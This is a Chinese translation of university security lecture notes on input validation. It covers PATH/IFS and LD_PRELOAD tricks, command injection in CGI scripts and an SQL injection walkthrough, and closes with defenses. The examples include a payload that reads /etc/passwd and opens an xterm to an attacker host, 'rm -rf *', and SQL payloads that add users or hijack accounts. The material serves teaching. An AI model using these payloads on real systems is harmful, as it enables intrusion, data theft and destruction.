雪城大学信息安全讲义 六、输入校验

简介: 六、输入校验 原文:Input Validation 译者:飞龙1 环境变量(隐藏的输入)环境变量是隐藏的输入。

六、输入校验

原文:Input Validation

译者:飞龙

1 环境变量(隐藏的输入)

环境变量是隐藏的输入。它们存在并影响程序行为。在编程中忽略它们的存在可能导致安全隐患。

  • PATH

    • 在 Shell 中运行命令时,Shell 会使用 PATH 环境变量搜索所有命令。
    • 下面会发生什么呢?

      system("mail");
    • 攻击者可以将 PATH 修改成下面,并使当前目录下的mail执行。

      PATH=".:$PATH"; export PATH
  • IFS

    • IFS 变量决定了哪个字符解释为空白字符。它代表了内部字符安分隔符。假设我们将其设置为包含斜杠字符:

      IFS="/ \t\n"; export IFS
      PATH=".:$PATH"; export PATH
    • 现在从 Bourne shell(例如system或者popen系统调用)中,调用任何使用绝对 PATH 的程序。现在这会解释成下面的东西,尝试在用户的当前目录中执行叫做bin命令。

      system("/bin/mail root");   --->  system(" bin mail root"); 
    • IFS 的 Bug 现在在 Shell 中漂亮地禁用了。

  • LD_LIBRARY_PATH

    • 动态链接目录:在搜索动态库时,UNIX 系统会在由该环境变量提供的特定目录中搜索库。
    • 几乎每个 UNIX 程序都依赖于libc.so,以及每个 Windows 程序都依赖于 DLL。如果这些库变成了木马,许多事情就会发生错误。
    • 攻击者可以改变这个路径,并使程序加载攻击者的库。

      setenv LD_LIBRARY_PATH /tmp:$LD_LIBRARY_PATH 

      或者用户当前目录

      setenv  LD_LIBRARY_PATH .:$LD_LIBRARY_PATH 
    • 多数现代的 C 运行时库都修复了这个问题,通过当 EUID 不等于 UID,或者 EGID 不等于 GID 时,忽略LD_LIBRARY_PATH变量。

    • 防护应用可以使用可信库静态链接来避免它。
    • 在 Windows 的机制中,加载 DLL 时,通常在搜索系统目录之前,在当前目录中搜索 DLL。如果你点击了 Word 文档来启动 Office,包含文档的目录首先用于搜索 DLL。
  • LD_PRELOAD

    • 许多 UNIX 系统允许你预加载共享库,通过设置环境变量LD_PRELOAD。这允许你做一些有趣的事情,比如将 C 标准库的函数或者甚至系统调用的 C 接口换成你自己的函数。
    • 如果程序是 Set-UID 程序,现代的系统会忽略LD_PRELOAD

      % cc -o malloc_interposer.so -G -Kpic malloc_interposer.c 
      % setenv LD_PRELOAD $cwd/malloc_interposer.so 
    • 如何去掉环境变量?

      extern char   **environ;   
      int main(int argc, char **argv) {
          environ = 0; 
      } 
      • 上面的策略不一定对每个程序都起作用。例如,运行期间加载共享库需要LD_LIBRARY_PATH

案例学习

  • vi漏洞

    • 行为:

      (1) vi file

      (2) 保持打开但不保存

      (3) vi调用了expreserve,它在保护区域保存缓冲区

      (4) expreserve调用mail来向用户发送邮件

    • 事实:
      • expreserve是个 Set-UID 程序,mail使用 Root 权限调用。
      • expreserve使用了system("mail user")或者system("/bin/mail user")
      • expreserve没有注意环境变量。
    • 攻击:

      • 修改了 PATH 和 IFS

        IFS="/binal\t\n"使m被调用,而不是/bin/mail

2 进程属性

  • umask

    • 它决定了新创建文件的默认权限
    • 子进程从它的父进程继承该值
    • 考虑这个场景:

      一个 Set-UID 程序在/tmp/tempfile保存临时数据。这个文件的完整性十分重要。如果程序员假设 umask 值为 077,假设可能不成立。攻击者可以从自己的 Shell 中运行这个程序,Set-UID 会从 Shell 继承这个 umask 值。

      如何防护它:显式设置 umask 值(使用umask(077)),或者显式设置新创建文件的权限(使用chmod("newfile",0755)

  • 内存转储

    • 如果你的程序保存了敏感数据,例如未加密的密码,你应该禁止程序的内核转储。
    • 如何禁用内和转储?

      
      #include <sys/time.h> 
      
      
      #include <sys/resource.h> 
      
      
      #include <unistd.h>  
      
      
      int main(int argc, char **argv) {
          struct rlimit   rlim;
          getrlimit(RLIMIT_CORE, &rlim);
          rlim.rlim_max = rlim.rlim_cur = 0;
          if (setrlimit(RLIMIT_CORE, &rlim)) {
              exit(-1);         
          }
          ...
          return 0;
      } 
    • Solaris 默认(Solaris 8 开始)不允许 Set-UID 程序由于明显的安全原因的内核转储。

3 调用其它程序

  • 安全地调用其它程序

    • 如果 CGI 脚本这样做,会有什么潜在的问题?

      // $Recipient contains email address provided by the user  
      //      using web forms.   
      system("/bin/mail", $Recipient); 
    • $Recipient可能包含 Shell 的特殊字符(| & < >)(命令注入)。

      "attacker@hotmail.com < /etc/passwd;  
      export DISPLAY=proxy.attacker.org:0; /usr/X11R6/bin/xterm&;" 
    • 如果 CGI 脚本这样做,会有什么潜在的问题?

      system("cat", "/var/stats/$username"); 
    • 攻击者可以将用户名提交为../../etc/passwd(命令注入、路径遍历)。

    • 如果 CGI 脚本这样做,会有什么潜在的问题?

      sprintf(buf,"telnet %s",url); 
      system(buf); 
    • 如果 URL 是这种形式,也会做出回应(命令注入、栈溢出)。

      host.example.com; rm -rf * 
  • exec函数、systempopen

    • Exec 函数系列通过将当前进程影响包装成新的,来运行子进程。有许多 Exec 函数的版本,它们工作方式不同。它们可以归类于以下几种:
      • 使用或者不使用 Shell 来启动子进程
      • 通过 Shell(Shell 可以引入比我们预期的更多功能。要注意 Shell 是个强大的程序)处理命令行参数。
    • 启动子进程涉及到依赖和属性继承的问题,我们已经看到它们存在问题。函数execlpexecvp使用 Shell 来启动程序。它们使程序的执行依赖当前用户的 Shell 配置。也就是依赖于 PATH 和其它环境变量的值。execv更安全,因为它并没有向代码引入这种依赖。
    • system(string)调用将字符串传递给 Shell 来作为子进程执行(也就是作为单独派生的进程)。它是 Exec 函数的便利前端。
    • popen的标准实现与之相似。这个函数打开到新进程的管道,以便执行命令,并且读取任何输出作为文件流。这个函数也会启动 Shell,来解释命令行字符串。
  • 如何安全地调用程序?
    • 避免任何调用 Shell 的东西。不要使用system,而是使用execve,它不调用 Shell,与system不同。
    • 避免execlp(file, ...)execvp(file, ...),它们的语义与 Shell 类似。它们使用文件内存作为 Shell 的标准输入,如果文件不是有效的可执行目标文件。
    • 要注意可能使用 Shell 实现的函数。
      • Perl 的open函数能够执行命令,并且通常通过 Shell 来实现。

4 SQL 注入

示例来源于 Steve Fried 的 Unixwiz.net Tech Tips: SQL Injection Attacks by Example。

  • SQL 注入是个利用 Web 应用的技巧,该应用在查询中使用客户端提供的数据,但是没有首先过滤掉潜在有害的字符。因此,Web 应用可能会执行非预期的 SQL 代码。
  • 一些应用从 Web 表单获取用户输入,之后使用用户输入直接构造 SQL 语句。例如,下面的 SQL 查询使用$EMAIL的值构造,它直接由用户表单提交:

    SELECT email, passwd, login_id, full_name  
    FROM table  
    WHERE email = '$EMAIL'; 
  • 上面的应用当用户忘记密码时经常使用。它们只需要键入它们的邮件地址。如果邮件地址在数据库中(用户已注册),该邮件的密码会发到该邮件地址。这个例子中,SQL 注入攻击的目标是能够登入系统,而不需要是它的用户。

  • 猜测字段名称:第一步就是猜测数据库的一些字段名称

    • 下面猜测了字段名称email
    • 如果我们得到了服务器错误,就意味着我们的 SQL 格式错误,并且抛出了语法错误。最可能是由于错误的字段名称。如果我们得到了任何种类的有效回应,我们就正确猜测了名称。这里我们得到了email unknown或者password was sent回复。

      SELECT fieldlist   
      FROM table  
      WHERE field = 'x' AND email IS NULL; --'; 
    • 猜测表名称

      • 与之相似,如果消息是email unknown或者password was sent,我们就知道我们的猜测是否正确。

        SELECT email, passwd, login_id, full_name   
        FROM table  
        WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --'; 
      • 但是,上面只确认了tabname是否是有效名称,不一定是我们使用的名称,下面的语句有所帮助:

        SELECT email, passwd, login_id, full_name   
        FROM members  
        WHERE email = 'x' AND members.email IS NULL; --'; 
    • 猜测用户的邮件地址:$EMAIL = x' OR full_name LIKE '%Bob%

      • 如果 SQL 语句执行成功,通常你会看到这样的消息:We sent your password to <…>,其中<…>是邮件地址,它的fill_name%Bob%匹配(%是通配符)。

        SELECT email, passwd, login_id, full_name   
        FROM members  
        WHERE email = 'x' OR full_name LIKE '%Bob%'; 
    • 爆破密码(在我们了解有效邮件地址之后)

      SELECT email, passwd, login_id, full_name   
      FROM members  
      WHERE email = 'bob@example.com' AND passwd = 'hello123';
    • 如果数据库不是只读的,我们可以尝试下面的东西来添加新用户:

      • 末尾的--(注意空格,或者使用#)是 SQL 注释的开始。这是个有效的方式来去掉最后由应用提供的单引号,并且不会担心它们的匹配。
      • 有一些挑战:
        • Web 表单可能没有像你提供足够的空间来键入整个字符串。
        • Web 应用的用户可能没有members表的INSERT权限。
        • 应用可能不能正常表现,因为我们没有提供其它字段的值。
        • 有效的member可能不仅仅需要members表的一行记录,也需要其它表的关联信息(例如accessrights),所以只向一个表添加可能不足够。
      SELECT email, passwd, login_id, full_name   
      FROM members  WHERE email = 'x';   
      INSERT INTO members ('email','passwd','login_id','full_name')    
      VALUES ('xyz@hacker.net','hello','xyz','xyz Hacker');--'; 
    • 修改现有用户的邮件地址

      • 如果成功了,攻击者就能访问正常的I lost my password链接,键入更新后的邮件地址,并在邮件中收到 Bob 的密码。
      SELECT email, passwd, login_id, full_name   
      FROM members  WHERE email = 'x';       
      UPDATE members       
      SET email = 'xyz@hacker.net'       
      WHERE email = 'bob@example.com'; 
    • 如何防止 SQL 攻击?

      • 过滤输入
      • 配置错误报告:上面的攻击利用了由服务器返回的错误信息。通过不告诉用户 SQL 查询中实际的错误信息,可以使攻击者更加困难。例如,你可以只说something is wrong
      • 使用预定义参数,所以用户的输入仅仅被看做数据,引号、反斜杠和 SQL 注释记号不会产生影响,因为它们也仅仅被看做数据,并且不会解释为 SQL。看看下面的 Java 代码:
      // Insecure version 
      Statement s = connection.createStatement(); 
      ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = " + formField);   
      // Secure version 
      PreparedStatement ps = 
      connection.prepareStatement( "SELECT email FROM member WHERE name = ?"); 
      ps.setString(1, formField); 
      ResultSet rs = ps.executeQuery(); 
相关文章
|
5月前
集美大学第九届程序设计竞赛
集美大学第九届程序设计竞赛
35 0
|
6月前
|
人工智能 小程序 机器人
西安石油大学上机作业2023.5.19
西安石油大学上机作业2023.5.19
25 0
|
8月前
|
机器学习/深度学习 存储 人工智能
【中国大学生计算机大赛二等奖】智能中医-中e诊简介(一)
【中国大学生计算机大赛二等奖】智能中医-中e诊简介(一)
108 0
|
算法
孜孜不倦,上下求索——悼念原复旦大学计算机学院朱洪教授
上海交通大学软件学院副教授李停舟发微博称,原复旦大学计算机系教授朱洪1月27日逝世。朱洪教授是我国知名算法理论专家,也是复旦大学计算机科学技术学院40多年发展的亲历者和建设者。本文将朱洪教授在复旦工作的经历进行编辑,以念逝者。
3465 0
|
6月前
|
存储 算法 C++
西安石油大学2023年第三届里奇杯编程大赛(初赛)
西安石油大学2023年第三届里奇杯编程大赛(初赛)
22 0
|
测试技术 C++ Windows
2021 第十二届蓝桥杯大赛软件赛决赛, 国赛,C/C++ 大学B 组
2021 第十二届蓝桥杯大赛软件赛决赛, 国赛,C/C++ 大学B 组
113 1
|
机器学习/深度学习 Web App开发 人工智能
邢波任校长的大学迎来机器学习鼻祖:Michael Jordan加盟MBZUAI任荣誉教授
邢波任校长的大学迎来机器学习鼻祖:Michael Jordan加盟MBZUAI任荣誉教授
190 0
邢波任校长的大学迎来机器学习鼻祖:Michael Jordan加盟MBZUAI任荣誉教授
|
机器学习/深度学习 人工智能 自然语言处理
高中生福利!清华姚班首发高中AI教材,姚期智院士主编,秋季出版
高中生福利!清华姚班首发高中AI教材,姚期智院士主编,秋季出版
360 0
|
人工智能 大数据 量子技术
沈向洋博士致2018届毕业生的公开信:计算机科学的三堂人生课
上周五,沈向洋博士在美国华盛顿大学计算机科学与工程学院的年度毕业典礼致辞,他回顾了早年求学时候的经历,分享了从量子计算、人工智能和混合现实三种技术中总结出的三种人生经验。
1191 0